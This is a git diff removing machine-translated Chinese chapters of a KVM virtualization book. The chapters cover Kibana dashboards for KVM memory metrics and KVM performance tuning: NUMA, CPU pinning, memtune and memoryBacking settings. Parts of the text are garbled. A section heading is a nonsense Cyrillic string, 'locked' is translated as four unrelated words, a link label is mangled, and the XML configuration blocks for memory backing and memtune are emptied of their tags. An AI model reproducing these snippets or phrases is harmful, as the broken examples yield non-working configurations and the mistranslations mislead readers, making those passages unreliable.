and a quick visualization of one of the values. Go to **Visualize** and click **Create new visualization**: - - ![Figure 14.17 – Creating a new visualization ](img/B14834_14_17.jpg) - - 图 14.17-创建新的可视化效果 - - 选择`area`图表。 然后,在下一个屏幕上,查找并选择我们的数据源: - - ![Figure 14.18 – Selecting a visualization source ](img/B14834_14_18.jpg) - - 图 14.18-选择可视化信号源 - - 这将创建一个窗口,所有设置在左侧,最终结果在右侧。 目前,我们所看到的没有任何意义,所以让我们配置我们需要什么来显示我们的数据。 有几种方法可以实现我们想要的结果:我们将使用直方图和过滤器来快速显示未使用内存值是如何随时间变化的。 - -5. We are going to configure the *y* axis to show average data for `kvm.dommemstat.stat.value`, which is the attribute that holds our data. Select **Average** under **Aggregation** and `kvm.dommemstat.stat.value` as the field we are aggregating. You can create a custom label if you want to: - - ![Figure 18.19 – Selecting metric properties ](img/B14834_14_19.jpg) - - 图 18.19-选择指标属性 - - 这仍然是不正确的;我们需要添加时间戳来查看我们的数据是如何随时间变化的。 我们需要将**日期直方图**类型添加到*x*轴并使用它: - - ![Figure 14.20 – Choosing an aggregation type ](img/B14834_14_20.jpg) - - 图 14.20-选择聚合类型 - -6. Before we finish this visualization, we need to add a filter. The problem with data that is received from the KVM metricbeat module is that it uses one attribute to hold different data – if we want to know what the number in the file we are displaying actually means, we need to read its name from `kvm.dommemstat.stat.name`. To accomplish this, just create a filter called `kvm.dommemstat.stat.name:"unused"`. - - 刷新可视化后,我们的数据应该正确地显示在右侧: - - ![](img/B14834_14_21.jpg) - - 图 14.21-正确的可视化效果 - -7. We need to save this visualization using the **Save** button, give it a name that we will be able to find later, and repeat this process but instead of filtering for `unused`, filter for `usable`. Leave all the settings identical to the first visualization. - - 让我们构建一个仪表板。 打开**Dashboard**选项卡,然后单击第一个屏幕上的**Add new Dashboard**。 现在,将我们的两个可视化视图添加到这个仪表板。 您只需找到正确的可视化并单击它;它将显示在仪表板上。 - - 因此,我们有两个简单的仪表板在运行: - - ![Figure 14.22 – Finished dashboard showing usable memory ](img/B14834_14_22.jpg) - - 图 14.22-完成的仪表板显示可用内存 - - UI 中的第二个仪表板(实际上就在第一个仪表板旁边)是未使用的内存仪表板: - - ![Figure 14.23 – Finished dashboard showing unused memory ](img/B14834_14_23.jpg) - - 图 14.23-完成的仪表板显示未使用的内存 - -8. 保存此仪表板,以便以后使用。 仪表板的所有元素都可以自定义,并且仪表板可以由任意数量的可视化内容组成。 Kibana 让你可以自定义你看到的几乎所有东西,并将大量数据组合在一个屏幕上,以便于监控。 我们只需要更改一件事就可以使它成为良好的监控仪表板,那就是让它自动刷新。 单击屏幕右侧的日历图标,然后选择自动刷新间隔。 我们决定`5 seconds`: - -![Figure 14.24 – Selecting time-related parameters ](img/B14834_14_24.jpg) - -图 14.24-选择与时间相关的参数 - -既然我们已经做到了这一点,我们就可以反思这样一个事实,即构建这个仪表板确实简单明了。 这只花了我们几分钟的时间,而且很容易读懂。 想象一下,与此相比,在文本模式中经历了数百兆字节的日志文件。 实际上没有竞争,因为我们能够使用之前部署的 ELK 堆栈来监控有关 KVM 的信息,这就是本章的全部要点。 - -# 摘要 - -Kibana 使您能够做的是创建自定义仪表板,这些仪表板可以并排显示不同计算机的数据,因此 KVM 只是我们提供的众多选项之一。 例如,根据您的需要,您可以显示 KVM 虚拟机管理器及其上运行的所有主机的磁盘使用情况,或其他一些指标。 弹性堆栈是一种灵活的工具,但与所有工具一样,它需要时间来掌握。 本章只介绍了弹性配置的基本知识,因此我们强烈建议您进一步阅读这个主题-除了 KVM 之外,ELK 还可以用来监控几乎所有生成任何类型数据的东西。 - -下一章是关于 KVM 虚拟机的性能调优和优化的,这是我们没有真正触及的主题。 有相当多的内容需要讨论--虚拟机计算大小、优化性能、磁盘、存储访问和多路径、优化内核和虚拟机设置,仅举几例。 我们的环境越大,所有这些课题都将变得更加重要。 - -# 问题 - -1. 我们使用 MetricBeat 做什么? -2. 我们为什么要用基巴纳? -3. 在安装 ELK 堆栈之前,基本前提是什么? -4. 我们如何向基巴纳添加数据? - -# 进一步阅读 - -有关本章内容的更多信息,请参阅以下链接: - -* ELK 堆栈:[https://www.elastic.co/what-is/elk-stack](https://www.elastic.co/what-is/elk-stack) -* ELK 堆栈文档:[https://www.elastic.co/guide/index.html](https://www.elastic.co/guide/index.html) -* Kibana 文档:[https://www.astic tic.co/Guide/en/kibana/current/index.html](https://www.elastic.co/guide/en/kibana/current/index.html) -* MetricBeat 文档:[https://www.elastic.co/guide/en/beats/metricbeat/current/index.html](https://www.elastic.co/guide/en/beats/metricbeat/current/index.html) \ No newline at end of file diff --git a/docs/master-kvm-virtual/15.md b/docs/master-kvm-virtual/15.md deleted file mode 100644 index 94d64bed..00000000 --- a/docs/master-kvm-virtual/15.md +++ /dev/null @@ -1,1020 +0,0 @@ -# 十五、KVM 的性能调整和优化 - -当我们考虑虚拟化时,总会有一些问题不断出现。 其中一些可能非常简单,比如我们将从虚拟化中获得什么? 这会让事情变得简单吗? 备份是否更容易? 但是,一旦我们使用了一段时间的虚拟化,也会出现更复杂的问题。 我们如何在计算级别上提高速度? 有没有办法做更多的优化? 我们可以额外调整什么来提高存储或网络的速度? 我们是否可以引入一些配置更改,使我们能够在不投入大量资金的情况下更好地利用现有基础设施? - -这就是性能调整和优化对我们的虚拟化环境如此重要的原因。 正如我们将在本章中发现的那样,有很多不同的参数需要考虑-特别是如果我们从一开始就没有正确地设计东西,通常情况就是这样。 所以,我们将首先讨论设计这个主题,解释为什么它不应该只是一个纯粹的反复试验的过程,然后继续通过不同的设备和子系统来分解这个思维过程。 - -在本章中,我们将介绍以下主题: - -* 调整虚拟机 CPU 和内存性能-NUMA -* 内核同页合并 -* Virtio 设备调谐 -* 数据块 I/O 调整 -* 网络 I/O 调整 - -# 这一切都与设计有关 - -在我们生活的许多其他方面,我们经常重复一些基本的模式。 我们在 IT 行业通常也是这样做的。 当我们刚开始做某件事的时候,我们不擅长它是完全正常的。 例如,当我们开始进行任何一种运动的训练时,我们通常都没有坚持几年后变得那么好。 当我们开始音乐训练的时候,通常在上了几年音乐学校之后,我们会做得更好。 同样的原则也适用于 IT--当我们开始做 IT 时,我们远远没有随着时间的推移而变得更好,主要是*经验*。 - -作为人类,我们真的很善于把*智力防御*放在我们学习的路上。 我们真的很擅长说*我会从我的错误中学习*-我们通常把这一点和*结合起来,让我一个人呆着*。 - -问题是--已经有如此多的知识,不使用它将是愚蠢的。 这么多人已经经历了与我们相同或相似的过程;利用这种经历为我们带来好处将是徒劳无益的*而不是*。 此外,既然我们可以从比我们经验丰富得多的人那里学到更多东西,为什么还要浪费时间在这整个*我要从我的错误*学到的东西上呢? - -当我们开始使用虚拟化时,我们通常从小规模开始。 例如,我们首先安装托管虚拟化解决方案,如 VMware Player、Oracle VirtualBox 或类似的解决方案。 然后,随着时间的推移,我们转向具有两个**个虚拟机**(**个虚拟机**)的虚拟机管理器。 随着我们周围基础设施的增长,我们开始遵循线性模式,试图让基础设施像过去那样工作*,当它还小的时候*,这是一个错误。 IT 领域没有什么是线性的-增长、成本、用于管理的时间…。 什么事也没有。 事实上,解构这一点相当简单--随着环境的发展,存在更多的相互依赖,这意味着一件事影响另一件事,进而影响另一件事,以此类推。 这种无穷无尽的影响矩阵是人们经常忘记的东西,特别是在设计阶段。 - -重要提示: - -这真的很简单:线性设计不会给您带来任何好处,而正确的设计是性能调优的基础,这使得以后要做的性能调优工作要少得多。 - -在本书的前面部分(在[*第 2 章*](02.html#_idTextAnchor029),*KVM as a Virtualization Solution*)中,我们提到了**非一致内存访问**(**NUMA**)。 具体地说,我们提到 NUMA 配置选项是 VM 配置的*非常重要的部分,特别是当您正在设计托管虚拟服务器负载的环境时。* 让我们用几个例子来进一步阐述这一点。 这些示例将为我们提供一个很好的基础,让我们从*英里的高度*来看待性能调优和优化中的最大问题,并描述如何使用好的设计原则让我们摆脱许多不同类型的麻烦。 我们有意使用基于微软的解决方案作为例子--不是因为我们信奉使用它们,而是因为一个简单的事实。 我们有很多广泛可用的文档可以作为我们的优势--设计文档、最佳实践、较短的文章等等。 所以,让我们使用它们。 - -## 总体硬件设计 - -假设您刚刚开始设计新的虚拟化环境。 当您现在从您的渠道合作伙伴订购服务器时-无论他们是谁-您需要从一个大列表中选择一个型号。 哪个品牌真的无关紧要--有很多款式可供选择。 您可以选择`1U`(所谓的*披萨盒*)服务器,根据型号的不同,这些服务器大多有一个或两个 CPU。 然后,您可以选择`2U`服务器、`3U`服务器…。 这份名单会呈指数级增长。 假设您选择了一台具有一个 CPU 的`2U`服务器。 - -在下一步中,您将选择内存量-比方说 96 GB 或 128 GB。 你下了订单,几天或几周后,你的服务器就会送到。 打开它,您会意识到一些事情-所有的 RAM 都连接到`CPU1`个内存通道。 你把它放进你的记忆库,忘掉它,然后进入下一阶段。 - -然后,问题变成了一些非常平淡无奇的环境的微观管理。 服务器的 BIOS 版本、虚拟机管理器级别上的驱动程序以及 BIOS 设置(电源管理、C 状态、Turbo Boost、超线程、各种与内存相关的设置、不允许内核自行关闭等)都会对虚拟机监控程序上运行的虚拟机的性能产生巨大影响。 因此,最好的做法是首先检查我们的硬件是否有更新的 BIOS/固件版本,并检查制造商和其他相关文档,以确保 BIOS 设置尽可能优化。 然后,也只有到那时,我们才能开始*勾选*一些物理和部署程序-在机架中部署我们的服务器,安装操作系统和我们需要的一切,并开始使用它。 - -假设一段时间后,您意识到您需要进行一些升级并订购一些 PCI Express 卡-两个基于主机的单端口光纤通道 8 Gbit/s 适配器、两个单端口 10 Gbit/s 以太网卡和两个 PCI Express NVMe 固态硬盘。 例如,通过订购这些卡,您希望添加一些功能-访问光纤通道存储,并通过将这两种功能从 1 Gb/s 网络切换到 10 Gb/s 网络来加快备份过程和虚拟机迁移。 你下订单,几天或几周后,你的新 PCI Express 卡就会送到。 您打开它们,关闭服务器,将其从机架中取出,然后安装这些卡。 `2U`服务器通常有两个甚至三个 PCI Express 转接卡的空间,这些转接卡可有效地用于连接其他 PCI Express 设备。 假设您使用第一个 PCI Express Riser 卡部署前两个卡-光纤通道控制器和 10 Gbit/s 以太网卡。 然后,注意到您没有足够的 PCI Express 接口将所有东西都连接到第一个 PCI Express Riser 卡,因此使用第二个 PCI Express Riser 卡来安装两个 PCI Express NVMe 固态硬盘。 您可以拧下所有东西,合上服务器盖,将服务器放回机架,然后重新通电。 然后,您返回到笔记本电脑并连接到服务器,徒劳地试图格式化您的 PCI Express NVMe 固态硬盘并将其用于新的 VM 存储。 您意识到您的服务器无法识别这些 SSD。 你问问自己-这是怎么回事? 我的服务器坏了吗? - -![Figure 15.1 – A PCI Express riser for DL380p G8 – you have to insert your PCI Express cards into its slots ](img/B14834_15_01.jpg) - -图 15.1-DL380p G8 的 PCI Express Riser 卡-您必须将 PCI Express 卡插入插槽 - -您打电话给您的销售代表,告诉他们您认为服务器出现故障,因为它无法识别这些新的固态硬盘。 您的销售代表将您与售前技术人员联系起来;您听到另一方发出的笑声和以下信息:“嗯,您看,您不能这样做。如果您想在服务器上使用第二个 PCI Express Riser 卡,您必须在第二个 CPU 插槽中配备 CPU 套件(CPU 和散热器),并为第二个 CPU 配备内存。订购这两件东西,将它们放入您的服务器中,您的 PCI Express NVMe 固态硬盘将不会出现任何问题。” - -当你结束电话交谈时,你的头上会留下一个问号-*这是怎么回事? 为什么我需要将第二个 CPU 和内存连接到其内存控制器才能使用某些 PCI Express 卡?* - -这其实与两件事有关: - -* 您不能使用卸载的 CPU 的内存插槽,因为该内存需要一个内存控制器,该控制器位于 CPU 内部。 -* 您不能在未安装的 CPU 上使用 PCI Express,因为将 PCI Express Riser 卡连接到 CPU 的 PCI Express 通道不一定是由芯片组提供的-CPU 也可以用于 PCI Express 通道,而且通常是这样的,特别是对于最快的连接,您很快就会了解到这一点。 - -我们知道这很令人困惑;我们可以感受到你的痛苦,就像我们在那里一样。 遗憾的是,您将不得不在我们这里多住一段时间,因为情况会变得更加令人困惑。 - -在[*第 4 章*](04.html#_idTextAnchor062),*Libvirt Networking*中,我们了解了如何使用 Intel x540-AT2 网络控制器配置 SR-IOV。 我们提到在配置 SR-IOV 时使用的是 HP ProLiant DL380p G8 服务器,因此我们在这里的示例中也使用该服务器。 如果你看一下该服务器的规格,你会注意到它使用的是*英特尔 C600*芯片组。 如果您随后访问英特尔的方舟网站([https://ark.intel.com](https://ark.intel.com))并搜索有关 C600 的信息,您会注意到它有五个不同的版本(C602、C602J、C604、C606 和 C608),但是最奇怪的部分是它们都只支持 8 个 PCI Express2.0 通道。 请记住,服务器规范清楚地说明该服务器支持 PCI Express 3.0,这真的会让人感到困惑。 这怎么可能,这里使用的是哪种诡计? 是的,PCI Express 3.0 卡几乎总能以 PCI Express 2.0 的速度工作,但如果直截了当地说*此服务器支持 PCI Express 3.0*,然后发现它通过提供 PCI Express 2.0 级别的性能(每个 PCI Express 通道的速度慢两倍)来支持它,那将是一种误导。 - -只有当您转到 HP ProLiant DL380p G8 QuickSpecs 文档并找到该文档的特定部分(*扩展插槽*部分,其中包含您可以使用的三种不同类型的 PCI Express 提升板的说明)时,我们需要的所有信息实际上都已详细说明给我们。 让我们使用 PCI Express 提升板的所有详细信息作为参考和说明。 基本上,主 Riser 卡有两个 PCI Express v3.0 插槽,由处理器 1(x16 加 x8)提供,第三个插槽(PCI Express 2.0 x8)由芯片组提供。 对于可选的 Riser 卡,它说明所有插槽都由 CPU 提供(x16 加上 x8 乘以 2)。 实际上,有些型号可以有三个 PCI Express Riser 卡,对于第三个 Riser 卡,处理器 2 还提供所有 PCI Express 通道(x16 乘以 2)。 - -这都是*非常重要的*。 这是许多情况下性能瓶颈的一个巨大因素,这就是为什么我们的示例围绕两个 PCI Express NVMe 固态硬盘的想法。 我们想和你一起走完全程。 - -因此,在这一点上,我们可以对我们的示例服务器的实际标准硬件设计进行一次有意义的讨论。 如果我们打算将这些 PCI Express NVMe 固态硬盘用于虚拟机的本地存储,那么我们大多数人都会优先考虑这一点。 这意味着我们绝对希望将这些设备连接到 PCI Express 3.0 插槽,这样它们就不会受到 PCI Express 2.0 速度的瓶颈。 如果我们有两个 CPU,那么我们最好使用两个 PCI Express 提升板中的*第一个 PCI Express 插槽*来实现这一特定目的。 原因很简单-它们与*PCI Express3.0 兼容*,并且它们是由 CPU 提供的*。 同样,这是*非常重要的*--这意味着它们是*直接连接*到 CPU 的,没有通过芯片组的*增加的延迟*。 因为,在一天结束时,CPU 是所有东西的中心集线器,从 VM 到 SSD 再往返的数据都将通过 CPU。 从设计的角度来看,我们绝对应该利用我们知道这一点的事实,将我们的 PCI Express NVMe 固态硬盘*本地*连接到我们的 CPU。* - -下一步与光纤通道控制器和 10 Gbit/s 以太网控制器相关。 8 Gbit/s 光纤通道控制器的大量负载与 PCI Express 2.0 兼容。 同样的情况也适用于 10Gbit/s 以太网适配器。 因此,这又是一个优先事项。 如果您经常使用我们的示例服务器上的光纤通道存储,逻辑表明您会希望将新的闪亮的光纤通道控制器放在尽可能快的位置。 这将是我们两个 PCI Express 提升板上的第二个 PCI Express 插槽。 同样,第二个 PCI Express 插槽都是由 CPU(处理器 1 和处理器 2)提供的,所以现在我们只剩下 10 Gbit/s 的以太网适配器了。 我们在示例场景中说过,我们将使用这些适配器进行备份和虚拟机迁移。 如果通过芯片组上的网络适配器完成备份,则备份不会受到太大影响。 VM 迁移可能对此有点敏感。 因此,您将第一个 10 Gbit/s 以太网适配器连接到主 Riser 卡上的第三个 PCI Express 插槽(用于备份,由芯片组提供)。 然后,还将第二个 10 Gbit/s 以太网适配器连接到第二个 Riser 卡上的第三个 PCI Express 插槽(处理器 2 提供的 PCI Express 通道)。 - -关于硬件方面的设计,我们才刚刚开始,我们已经有了如此丰富的信息要处理。 现在让我们进入与 VM 设计相关的设计的第二阶段。 具体地说,我们将讨论如何创建从头开始正确设计的新 VM。 但是,如果我们要这样做,我们需要知道将为哪个应用创建此 VM。 就这一点而言,我们将创建一个场景。 我们将使用我们创建的虚拟机在运行 Windows Server 2019 的虚拟机之上托管 Microsoft SQL 数据库群集中的节点。 当然,VM 将安装在 KVM 主机上。 这是一位客户交给我们的任务。 由于我们已经完成了总体硬件设计,现在我们将重点介绍 VM 设计。 - -## Колибрипрограммется - -创建一个 VM 很简单-我们只需转到`virt-manager`,单击几次,就完成了。 这同样适用于 oVirt、RedHat Enterprise Virtualization Manager、OpenStack、VMware 和微软虚拟化解决方案…。 每个地方的情况都大同小异。 问题是正确地设计 VM。 具体地说,问题在于创建一个 VM,该 VM 将进行预调优,以便在非常高的级别上运行应用,然后只剩下少量的配置步骤,我们可以在服务器或 VM 端采取这些步骤来提高性能-前提是稍后的大部分优化过程将在操作系统或应用级别上完成。 - -因此,人们通常通过以下两种方式之一开始创建 VM-要么从头开始创建 VM,并将*XYZ*数量的资源添加到 VM,要么使用模板,正如我们在[*第 8 章*](08.html#_idTextAnchor143),*创建和修改 VM 磁盘、模板和快照*中所解释的那样,这将节省大量时间。 无论我们使用哪种方式,都会为我们的虚拟机配置一定数量的资源。 然后,我们记住要将此 VM 用于(SQL)的用途,因此我们将 CPU 数量增加到例如 4 个,将内存量增加到 16 GB。 我们将该虚拟机放入服务器的本地存储中,将其假脱机,然后开始部署更新、配置网络、重新启动虚拟机并为最后的安装步骤做好一般准备,该步骤实际上是安装我们的应用(SQL Server 2016)以及与之配套的一些更新。 完成后,我们开始创建数据库,并继续执行下一组需要完成的任务。 - -接下来,让我们从设计和调优的角度来看看这个过程。 - -# 调整虚拟机 CPU 和内存性能 - -上述过程有一些非常简单的问题。 有些只是的工程问题,而有些则是更多的程序性问题。 让我们来讨论一下: - -* IT 领域几乎没有*一刀切的*解决方案。 每个客户端的每个虚拟机都有一组不同的环境,并且处于由不同设备、服务器等组成的不同环境中。 不要试图加快这一过程来给人留下深刻印象,因为这肯定会在以后成为一个问题。 -* 完成部署后,请停止。 学习吸气、呼气和停下来思考的练习--或者等待一个小时甚至一天。 请记住,您设计 VM 的目的是什么。 -* 在允许在生产中使用虚拟机之前,请检查其配置。 虚拟 CPU 数量、内存、存储位置、网络选项、驱动程序、软件更新-一切。 -* 可以在安装阶段之前或在模板阶段(即克隆虚拟机之前)进行大量预配置。 如果是要迁移到新环境的现有环境,*收集有关旧环境的信息*。 了解数据库大小、正在使用的存储以及人们对数据库服务器和使用它们的应用的性能的满意度。 - -在整个过程结束时,学会从*英里高*的角度来看待您所做的与 IT 相关的工作。 从质量保证的角度来看,IT 应该是高度结构化、程序化的工作类型。 如果你以前做过什么,学会记录你在安装时做的事情和你所做的更改。 文档--就目前而言--是 IT 最大的致命弱点之一。 编写文档将使您在将来面对相同(较少)或类似(更频繁)的场景时更容易重复该过程。 向伟人学习--举个例子,如果贝多芬不详细地记录他日复一日所做的事情,我们对贝多芬的了解就会少得多。 是的,他出生于 1770 年,今年将是他出生 250 周年,那是很久以前的事了,但这并不意味着 250 年前的惯例是不好的。 - -现在,您的虚拟机已配置好并投入生产,几天或几周后,您会接到公司的电话,他们问为什么性能*不是很好*。 为什么它不能像在物理服务器上一样工作? - -根据经验,当您在 Microsoft SQL 上寻找性能问题时,这些问题大致可以分为四类: - -* 您的 SQL 数据库内存有限。 -* 您的 SQL 数据库存储有限。 -* 您的 SQL 数据库只是配置错误。 -* 您的 SQL 数据库受 CPU 限制。 - -根据我们的经验,第一类和第二类很容易解决 80-85%的 SQL 性能问题。 第三种可能会占到 10%,而最后一种则相当罕见,但它仍然会发生。 请牢记这一点,从基础架构的角度来看,在设计数据库 VM 时,您应该始终首先查看 VM 内存和存储配置,因为它们是迄今为止最常见的原因。 从那时起,问题就像滚雪球一样堆积如山。 具体地说,SQL VM 性能低于平均水平的一些最常见的关键原因是内存位置(从 CPU 角度看)和存储问题-延迟/IOPS 和带宽是问题。 那么,让我们来逐一描述一下。 - -我们需要解决的第一个问题是(有趣的是)与*地理*相关。 数据库的内存内容应尽可能接近分配给其 VM 的 CPU 核心,这一点非常重要。 这就是 NUMA 的全部意义所在。 在 KVM 上,我们只需进行一点配置,就可以轻松地解决这个特定问题。 假设我们选择我们的虚拟机使用四个虚拟 CPU。 我们的测试服务器采用 Intel Xeon E5-2660v2 处理器,每个处理器都有 10 个物理核心。 请记住,我们的服务器有两个这样的至强处理器,我们总共有 20 个内核可供使用。 - -我们有两个基本问题要回答: - -* 我们的虚拟机的这四个核心与下面的 20 个物理核心有何关联? -* 这与虚拟机的内存有什么关系?我们如何对其进行优化? - -这两个问题的答案都取决于*我们的*配置。 默认情况下,我们的虚拟机可能分别使用来自两个物理处理器的两个内核,并将自己的内存分布在这两个处理器或 3+1 上。这些配置示例都不是很好。 您需要的是将所有虚拟 CPU 核心放在*个*物理处理器上,并且希望这些虚拟 CPU 核心使用这四个物理核心的本地内存--直接连接到底层物理处理器的内存控制器。 我们刚才描述的是 NUMA 背后的基本思想-让节点(由 CPU 核心组成)充当具有本地内存的虚拟机的计算块构建。 - -如果可能,您希望为该 VM 保留所有内存,这样它就不会在 VM 之外的某个地方进行交换。 在 KVM 中,VM 外部*将在 KVM 主机交换空间中。 始终访问真实 RAM 内存是一个与性能和 SLA 相关的配置选项。 如果 VM 使用一点底层交换分区作为其内存,它将不会具有相同的性能。 请记住,交换通常是在某种类型的本地 RAID 阵列、SD 卡或类似介质上完成的,与实际 RAM 内存相比,它们在带宽和延迟方面要慢很多个数量级。 如果您需要有关此问题的高级声明,请不惜一切代价避免在 KVM 主机上过量使用内存。 CPU 也是如此,这是任何其他类型的虚拟化解决方案(不仅仅是 KVM)上常用的最佳实践。* - -此外,对于关键资源(如数据库 VM),将*个 vCPU*固定到特定的物理核心绝对是有意义的。 这意味着我们可以使用特定的物理核心来运行 VM,并且我们应该配置在相同主机*而不是*上运行的其他 VM 来使用这些核心。 这样,我们将*为单个 VM 保留*这些 CPU 核心,从而将所有内容配置为最高性能,使其不受物理服务器上运行的其他 VM 的影响。 - -是的,有时候经理和公司所有者会因为这个最佳实践而不喜欢你(好像你是罪魁祸首),因为它需要适当的规划和足够的资源。 但这是他们不得不接受的--或者不接受,无论他们喜欢哪种。 我们的工作是让 IT 系统尽可能好地运行。 - -虚拟机设计有其基本原则,如 CPU 和内存设计、NUMA 配置、设备配置、存储和网络配置等。 让我们从一种基于 CPU 的高级功能开始,逐步介绍所有这些主题,如果使用得当,该功能可以帮助我们的系统尽可能好地运行-CPU 锁定。 - -## CPU 钉住 - -CPU 锁定只不过是在 vCPU 和主机的物理 CPU 核心之间设置*亲和性*的过程,以便 vCPU 将仅在该物理 CPU 核心上执行。 我们可以使用`virsh vcpupin`命令将 vCPU 绑定到物理 CPU 核心或物理 CPU 核心的子集。 - -在执行 vCPU 固定时,有几种最佳做法: - -* 如果访客 vCPU 的数量超过单个 NUMA 节点 CPU,则不要使用默认固定选项。 -* 如果物理 CPU 分布在不同的 NUMA 节点上,最好创建多个访客,并将每个访客的 vCPU 固定到同一 NUMA 节点中的物理 CPU。 这是因为访问不同的 NUMA 节点或跨多个 NUMA 节点运行会对性能产生负面影响,特别是对于内存密集型应用。 - -让我们来看看 vCPU 钉住的步骤: - -1. Execute `virsh nodeinfo` to gather details about the host CPU configuration: - - ![Figure 15.2 – Information about our KVM node ](img/B14834_15_02.jpg) - - 图 15.2-有关我们的 KVM 节点的信息 - -2. The next step is to get the CPU topology by executing the `virsh capabilities` command and check the section tagged ``: - - ![Figure 15.3 – The virsh capabilities output with all the visible physical CPU cores ](img/B14834_15_03.jpg) - - 图 15.3-所有可见物理 CPU 核心的 virsh 功能输出 - - 一旦我们确定了主机的拓扑,下一步就是开始固定 vCPU。 - -3. Let's first check the current affinity or pinning configuration with the guest named `SQLForNuma`, which has four vCPUs: - - ![Figure 15.4 – Checking the default vcpupin settings ](img/B14834_15_04.jpg) - - 图 15.4-检查默认 vcpupin 设置 - - 让我们通过使用 CPU 钉住来改变这一点。 - -4. Let's pin `vCPU0` to physical core 0, `vCPU1` to physical core 1, `vCPU2` to physical core 2, and `vCPU3` to physical core 3: - - ![Figure 15.5 – Configuring CPU pinning ](img/B14834_15_05.jpg) - - 图 15.5-配置 CPU 固定 - - 通过使用`virsh vcpupin`,我们更改了此 VM 的固定虚拟 CPU 分配。 - -5. 让我们在此虚拟机上使用`virsh dumpxml`来检查配置更改: - -![Figure 15.6 – CPU pinning VM configuration changes ](img/B14834_15_06.jpg) - -图 15.6-CPU 固定虚拟机配置更改 - -请注意`virsh`命令中列出的 CPU 亲和性和正在运行的访客的 XML 转储中的``标记。 正如 XML 标记所说,这属于访客的 CPU 调优部分。 还可以为特定 vCPU 而不是单个物理 CPU 配置一组物理 CPU。 - -有几件事需要记住。 VCPU 固定可以提高性能;但是,这取决于主机配置和系统上的其他设置。 请确保您进行了足够的测试并验证了设置。 - -您还可以使用`virsh vcpuinfo`来验证锁定。 `virsh vcpuinfo`命令的输出如下所示: - -![Figure 15.7 – virsh vcpuinfo for our VM ](img/B14834_15_07.jpg) - -图 15.7-我们虚拟机的 virsh vcpuinfo - -如果我们在繁忙的主机上执行此操作,将会产生后果。 有时,由于这些设置,我们实际上无法启动我们的 SQL 机器。 因此,为了更好地(SQL VM 正在工作,而不是不想启动),我们可以将内存模式配置从`strict`更改为`interleave`或`preferred`,这将放松对此 VM 严格使用本地内存的坚持。 - -现在让我们研究一下内存调优选项,因为它们是下一个要讨论的合乎逻辑的事情。 - -## 使用内存 - -对于大多数环境来说,内存是一种宝贵的资源,不是吗? 因此,应该通过调整内存来实现内存的有效使用。 优化 KVM 内存性能的第一条规则是,在安装过程中为访客分配的资源不能超过它将使用的资源。 - -我们将更详细地讨论以下内容: - -* 内存分配 -* 调谐记忆调谐 -* 内存备份 - -让我们首先解释如何为虚拟系统或访客配置内存分配。 - -### 内存分配 - -为了使分配过程简单,我们将再次考虑`virt-manager`**libvirt 客户端。 可以从以下屏幕截图所示的窗口进行内存分配:** - - **![Figure 15.8 – VM memory options ](img/B14834_15_08.jpg) - -图 15.8-虚拟机内存选项 - -正如您在前面的屏幕截图中看到的,有两个主要选项:**当前分配**和**最大分配**: - -* **最大分配**:客户的运行时最大内存分配。 这是访客运行时可以分配给它的最大内存。 -* **当前分配**:客户总是使用多少内存。 由于内存膨胀的原因,我们可以将此值设置为低于最大值。 - -`virsh`命令可用于调整这些参数。 相关的`virsh`命令选项为`setmem`和`setmaxmem`。 - -### 调谐记忆调谐 - -内存调优选项被添加到访客配置文件的``下。 - -其他内存调优选项可在[http://libvirt.org/formatdomain.html#elementsMemoryTuning](http://libvirt.org/formatdomain.html#elementsMemoryTuning)找到。 - -管理员可以手动配置访客的内存设置。 如果省略``配置,则默认内存设置适用于访客。 此处使用的`virsh`命令如下所示: - -```sh -# virsh memtune --parameter size parameter -``` - -它可以具有以下任意值;此最佳做法在手册页中有详细说明: - -```sh ---hard-limit       The maximum memory the guest can use. ---soft-limit       The memory limit to enforce during memory contention. ---swap-hard-limit  The maximum memory plus swap the guest can use.  This has to be more than hard-limit value provided. ---min-guarantee    The guaranteed minimum memory allocation for the guest. -``` - -可以获取为`memtune`参数设置的默认值/当前值,如下所示: - -![Figure 15.9 – Checking the memtune settings for the VM ](img/B14834_15_09.jpg) - -图 15.9-检查虚拟机的 memtune 设置 - -设置`hard_limit`时,不应将此值设置得太低。 这可能会导致 VM 被内核终止的情况。 这就是为什么为 VM(或任何其他进程)确定正确的资源量是一个设计问题。 有时候,恰当地设计东西看起来像是黑暗的艺术。 - -有关如何设置这些参数的更多信息,请参见以下截图中的`memtune`命令的帮助输出: - -![Figure 15.10 – Checking virsh help memtune ](img/B14834_15_10.jpg) - -图 15.10-检查 virsh help memtune - -由于我们已经讨论了内存分配和调优,最后一个选项是内存备份。 - -### 内存备份 - -下面的是内存备份的访客 XML 表示: - -```sh -     ... -   -     -     -     -     -     -     -     ... -   -``` - -您可能已经注意到,内存备份有三个主要的选项:`locked`、`nosharepages`和`hugepages`。 让我们从`locked`开始,逐一介绍它们。 - -#### 锁 / 扣住 / 过船闸 / 隐藏 - -在 KVM 虚拟化中,客户内存位于 KVM 主机中的`qemu-kvm`进程的进程地址空间中。 根据主机的要求,Linux 内核可以随时换出这些客户内存分页,这就是`locked`可以提供帮助的地方。 如果将访客的内存备份选项设置为`locked`,主机将不会换出属于虚拟系统或访客的内存页。 启用此选项时,主机系统内存中的虚拟内存页将被锁定: - -```sh - -     - -``` - -我们需要使用``来设置`hard_limit`。 计算很简单-无论客户需要多少内存量加上开销。 - -#### 非共享页面 - -以下是访客配置文件中的`nosharepages`的 XML 表示: - -```sh - -     - -``` - -当存储器页相同时,存在能够实现存储器共享的不同机制。 像**内核同页合并**(**KSM**)这样的技术在客户系统之间共享页面。 `nosharepages`选项指示虚拟机管理器禁用此访客的共享页-也就是说,设置此选项将阻止主机在访客之间对内存执行重复数据消除。 - -#### 大页页 - -第三个也是最后一个选项是`hugepages`,它可以用 XML 格式表示,如下所示: - -```sh - - - -``` - -在 Linux 内核中引入 HugePages 以提高内存管理的性能。 内存以称为页的块进行管理。 不同的架构(i386、ia64)支持不同的页面大小。 我们不必使用 x86CPU 的默认设置(4KB 内存页),因为我们可以使用更大的内存页(2MB 到 1 GB),这是一种称为 HugePages 的特性。 CPU 的称为**存储器管理单元**(**MMU**)的部分通过使用列表来管理这些页。 这些页面通过页表引用,并且每个页面在页表中都有一个引用。 当系统想要处理大量内存时,主要有两种选择。 其中之一涉及增加硬件 MMU 中的页表条目的数量。 第二种方法增加默认页面大小。 如果我们选择增加页表条目的第一种方法,它的成本非常高。 - -在处理大量内存时,第二种也是更有效的方法是使用 HugePages 或通过使用 HugePages 增加页面大小。 每台服务器具有不同的内存量意味着需要不同的页面大小。 缺省值在大多数情况下都是可以的,而如果我们有大量内存(数百 GB 甚至 TB),那么巨大的内存页(例如,1 